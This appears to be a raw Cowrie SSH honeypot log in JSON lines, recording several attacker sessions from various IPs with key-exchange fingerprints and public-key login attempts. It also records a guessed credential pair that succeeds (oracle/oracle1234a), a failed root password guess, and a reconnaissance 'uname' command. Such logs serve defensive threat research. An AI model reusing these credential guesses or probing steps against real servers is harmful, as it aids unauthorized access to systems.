{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":35894,"dst_ip":"159.203.135.109","dst_port":22,"session":"e508280c97be","protocol":"ssh","message":"New connection: 193.32.162.151:35894 (159.203.135.109:22) [session: e508280c97be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:09:43.832495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:09:43.837321Z","src_ip":"193.32.162.151","session":"e508280c97be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:09:43.937444Z","src_ip":"193.32.162.151","session":"e508280c97be","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle1234a","message":"login attempt [oracle/oracle1234a] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:09:44.339675Z","src_ip":"193.32.162.151","session":"e508280c97be","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:09:44.576625Z","src_ip":"193.32.162.151","session":"e508280c97be","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:09:44.580364Z","src_ip":"193.32.162.151","session":"e508280c97be","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:09:44.689267Z","src_ip":"193.32.162.151","session":"e508280c97be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:09:44.694737Z","src_ip":"193.32.162.151","session":"e508280c97be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.209.8.82","src_port":53966,"dst_ip":"10.17.0.5","dst_port":22,"session":"543c60278c26","protocol":"ssh","message":"New connection: 209.209.8.82:53966 (10.17.0.5:22) [session: 543c60278c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:05.128729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:05.134274Z","src_ip":"209.209.8.82","session":"543c60278c26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:05.163285Z","src_ip":"209.209.8.82","session":"543c60278c26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:1e:70:19:91:e9:06:2a:9d:73:27:d1:8f:93:23:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqyQu0bUz5Nuylb/D5Iw3/aJJQ9XeHUy6R4IhB+TBBy47BBPOdGf63R87ENO23UTbvH9Rpd/ACAsyCEiiTpVif5cJmBuNM7FRkcTp0jaaQC54hIcXIdYw02cnW8k8rEvhR3MNEvIlJfdvf2LpNr3przeG/M3HgFkWwfnYRLnX5wuU3c3iiy7rMlWO8DLzACJ1SKiz29j4K9c53nz8dcXQYTC/w2vJ2x1bB50s6fb3n+/4dxymh16/0aQvmn71XIBj0rB3LP5piKJ5fep04fBKAFd4JOAfrTIPH5MTbpXx6/LfG4kJFS9gpz99yQmj53hXcl5dxa64/PqGzXbxzgZhh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:1e:70:19:91:e9:06:2a:9d:73:27:d1:8f:93:23:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:05.281393Z","src_ip":"209.209.8.82","session":"543c60278c26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:1e:70:19:91:e9:06:2a:9d:73:27:d1:8f:93:23:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqyQu0bUz5Nuylb/D5Iw3/aJJQ9XeHUy6R4IhB+TBBy47BBPOdGf63R87ENO23UTbvH9Rpd/ACAsyCEiiTpVif5cJmBuNM7FRkcTp0jaaQC54hIcXIdYw02cnW8k8rEvhR3MNEvIlJfdvf2LpNr3przeG/M3HgFkWwfnYRLnX5wuU3c3iiy7rMlWO8DLzACJ1SKiz29j4K9c53nz8dcXQYTC/w2vJ2x1bB50s6fb3n+/4dxymh16/0aQvmn71XIBj0rB3LP5piKJ5fep04fBKAFd4JOAfrTIPH5MTbpXx6/LfG4kJFS9gpz99yQmj53hXcl5dxa64/PqGzXbxzgZhh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:05.286033Z","src_ip":"209.209.8.82","session":"543c60278c26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:c4:92:5d:0c:75:21:00:cc:31:2a:c6:a5:d6:2e:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI2LlpU27J6utQYB0Pn016fYxaikz5tAhl6x6XSbnvy13LX4o0F+Dzb3JIgTzzKI1/YdNoqsh3by7jizYJIgljJR5suOrM8sRzE88l4TINcTf8mGYKweT44e6fmKwiRabGTzdwhOV3QQAvE6zqzDIioz3UFl9ssekZZGq3/K1DmdKQ5PRANwgR5BgC8wtLqjnSZCbfA2v1fEwpEJBBTXu9vUIdgPNM0hyLKpn2m0QCKOkB8FDS2r5d6j2Rx21UnduoctLSY52V7L611T6gLyNqXfp1NuBsiJ0Io5n/9V4CnNCPF//i989FIZ0ZaKMhwMVIcvZ0+HDF1L1pepQP3fq7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:c4:92:5d:0c:75:21:00:cc:31:2a:c6:a5:d6:2e:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:05.345914Z","src_ip":"209.209.8.82","session":"543c60278c26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:c4:92:5d:0c:75:21:00:cc:31:2a:c6:a5:d6:2e:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI2LlpU27J6utQYB0Pn016fYxaikz5tAhl6x6XSbnvy13LX4o0F+Dzb3JIgTzzKI1/YdNoqsh3by7jizYJIgljJR5suOrM8sRzE88l4TINcTf8mGYKweT44e6fmKwiRabGTzdwhOV3QQAvE6zqzDIioz3UFl9ssekZZGq3/K1DmdKQ5PRANwgR5BgC8wtLqjnSZCbfA2v1fEwpEJBBTXu9vUIdgPNM0hyLKpn2m0QCKOkB8FDS2r5d6j2Rx21UnduoctLSY52V7L611T6gLyNqXfp1NuBsiJ0Io5n/9V4CnNCPF//i989FIZ0ZaKMhwMVIcvZ0+HDF1L1pepQP3fq7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:05.359970Z","src_ip":"209.209.8.82","session":"543c60278c26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:90:24:55:6d:ed:8c:70:47:cb:50:b9:11:55:6a:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtdP3gl5lQGNEnx3h9Flp/hXSBPZYq6ipWjHFtOwFW98GqEfB4A1J0OsWCR5uQ6C2xA5/JHvD9vW9zGJitIFhtpE6Jx2gYqn72FLotNXwJuSjrAklLjhyeDk+PMRQJ6erNkhu2ZgY3vOXu6hzKcfCcSQsbHtDjLcQ9lSpIN6D7mNgb0sxQ57VC/mgBv3I4TppldbTFt9llKiTADRohatW4wVyRtIPSJRIx9rxD7fAF/lrJwHri9QaxJHiX9sQDRKoflQPNkJNWZjQT2okRGelczpAf1mcaugijdbwDHFc809L+rubSn0CRINeR2IS3MTXC/SwTcNqDiPeuaFNkw7n4w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:90:24:55:6d:ed:8c:70:47:cb:50:b9:11:55:6a:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:05.391930Z","src_ip":"209.209.8.82","session":"543c60278c26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:90:24:55:6d:ed:8c:70:47:cb:50:b9:11:55:6a:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtdP3gl5lQGNEnx3h9Flp/hXSBPZYq6ipWjHFtOwFW98GqEfB4A1J0OsWCR5uQ6C2xA5/JHvD9vW9zGJitIFhtpE6Jx2gYqn72FLotNXwJuSjrAklLjhyeDk+PMRQJ6erNkhu2ZgY3vOXu6hzKcfCcSQsbHtDjLcQ9lSpIN6D7mNgb0sxQ57VC/mgBv3I4TppldbTFt9llKiTADRohatW4wVyRtIPSJRIx9rxD7fAF/lrJwHri9QaxJHiX9sQDRKoflQPNkJNWZjQT2okRGelczpAf1mcaugijdbwDHFc809L+rubSn0CRINeR2IS3MTXC/SwTcNqDiPeuaFNkw7n4w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:05.396481Z","src_ip":"209.209.8.82","session":"543c60278c26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:de:5e:40:79:4c:3f:03:3f:d9:20:18:f1:ec:bd:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvsAl/hT6K3CXgIpXbItarTDe7fjNoGTJxH8no+ek0vQs5kYCykt1uq+fTHbqmV068OTq1COuzaeDyl636uIp2dA6bqjNjROtFta02YrIkeg6HvpUdqsW/v6YDJLu81GaV4e23MHzQlwiWkXEno17ZVyEg7NNM9p0lGM8WAeo26gMfaMrKlrcaQUNCKauRoTlzmZtAtcyhzaKX12zM7P9K5u5phDlwVDzbCP8DzpWJ2eyJ9qqntPyVv+n7QhZOnC13Orvu2RaiTMtxTOd9E9MCOm/p3G6jaRRYYiYrYuzwT3LcFfun3YDuJXCLp1cXEhOBSR+jcHUmEGqTHV5K4sTAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:de:5e:40:79:4c:3f:03:3f:d9:20:18:f1:ec:bd:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:05.431469Z","src_ip":"209.209.8.82","session":"543c60278c26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:de:5e:40:79:4c:3f:03:3f:d9:20:18:f1:ec:bd:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvsAl/hT6K3CXgIpXbItarTDe7fjNoGTJxH8no+ek0vQs5kYCykt1uq+fTHbqmV068OTq1COuzaeDyl636uIp2dA6bqjNjROtFta02YrIkeg6HvpUdqsW/v6YDJLu81GaV4e23MHzQlwiWkXEno17ZVyEg7NNM9p0lGM8WAeo26gMfaMrKlrcaQUNCKauRoTlzmZtAtcyhzaKX12zM7P9K5u5phDlwVDzbCP8DzpWJ2eyJ9qqntPyVv+n7QhZOnC13Orvu2RaiTMtxTOd9E9MCOm/p3G6jaRRYYiYrYuzwT3LcFfun3YDuJXCLp1cXEhOBSR+jcHUmEGqTHV5K4sTAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:05.436511Z","src_ip":"209.209.8.82","session":"543c60278c26","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:fa:b7:29:be:90:56:0f:06:2d:96:b1:fc:fc:0c:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5oShJ3rRN65hSMytqHfbehlv8aA8YlFI0cmayfVL5o3HIlDGb8ZV0FXVPE8BLq7pPwX/u0r9y4bRtkxtjFq3sj6/iVEUIs8B2ahh4mqBUrIy0h+CPxSZM7qgSH9h4MvzJhX6AbKHG62B5JvBe2XGiK7yvOG8s91WWbIP+Smz8ssFqUMXkDXvODcmisCZ9NLhKwm7Wpoycmogo7TDJ/w/1ODJKNw9oHid2AMlBmo2NThfFW/bWuERt8x1+KHT2JWlRBpk7Y5VX+nJyR3NUwSE6RjVQPC3KfkunUmXtgclMHtL3kvGdi6ahxmxGRW/Fw4aWKcohILixWROj8MGKoPwnQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:fa:b7:29:be:90:56:0f:06:2d:96:b1:fc:fc:0c:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:05.477775Z","src_ip":"209.209.8.82","session":"543c60278c26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:fa:b7:29:be:90:56:0f:06:2d:96:b1:fc:fc:0c:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5oShJ3rRN65hSMytqHfbehlv8aA8YlFI0cmayfVL5o3HIlDGb8ZV0FXVPE8BLq7pPwX/u0r9y4bRtkxtjFq3sj6/iVEUIs8B2ahh4mqBUrIy0h+CPxSZM7qgSH9h4MvzJhX6AbKHG62B5JvBe2XGiK7yvOG8s91WWbIP+Smz8ssFqUMXkDXvODcmisCZ9NLhKwm7Wpoycmogo7TDJ/w/1ODJKNw9oHid2AMlBmo2NThfFW/bWuERt8x1+KHT2JWlRBpk7Y5VX+nJyR3NUwSE6RjVQPC3KfkunUmXtgclMHtL3kvGdi6ahxmxGRW/Fw4aWKcohILixWROj8MGKoPwnQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:05.485110Z","src_ip":"209.209.8.82","session":"543c60278c26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:05.524207Z","src_ip":"209.209.8.82","session":"543c60278c26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":55680,"dst_ip":"159.203.135.109","dst_port":22,"session":"a81394c61c2d","protocol":"ssh","message":"New connection: 89.108.118.91:55680 (159.203.135.109:22) [session: a81394c61c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:52.887838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:52.891798Z","src_ip":"89.108.118.91","session":"a81394c61c2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:53.026189Z","src_ip":"89.108.118.91","session":"a81394c61c2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"v123456789","message":"login attempt [root/v123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:53.429219Z","src_ip":"89.108.118.91","session":"a81394c61c2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:54.567569Z","src_ip":"89.108.118.91","session":"a81394c61c2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.23.226","src_port":46586,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef38e54e89fd","protocol":"ssh","message":"New connection: 23.94.23.226:46586 (10.17.0.5:22) [session: ef38e54e89fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:59.403697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:59.408551Z","src_ip":"23.94.23.226","session":"ef38e54e89fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:59.482183Z","src_ip":"23.94.23.226","session":"ef38e54e89fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:6e:ee:10:4f:fb:47:dd:e8:f6:d4:8b:65:21:49:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6tlYf+D/xvHovtxJttwWovOjjwRR9WE/nua60sjGdnUlLbdP5cC35c586pQDj/QvcuA7ogtvBfK04H20h3X/K831zEFPE2MjnDl0u4yCAGgyBLR4/dX7pUQYQJiJMlvJmxCyjzlRkUM+T5F2RSQyuaY4fI177BpqrN+QLtfPSbAnxZWVwy19p3fzGZ859nSMI7k+Jh3ws6FEfigi4QMtaWbj1ohpkycGtO5fsWqE29btrGy4hsO73EwsB7lZ5D6AYIV1JWzR2QsyWdvJ0rWAuRDIKvVXhbx85rwzRmv20oaoS95eC0XVr7tbrosoQcNuzL8CKjwP4j+otqmuIDKvx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:6e:ee:10:4f:fb:47:dd:e8:f6:d4:8b:65:21:49:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:10:59.824129Z","src_ip":"23.94.23.226","session":"ef38e54e89fd","protocol":"ssh"}
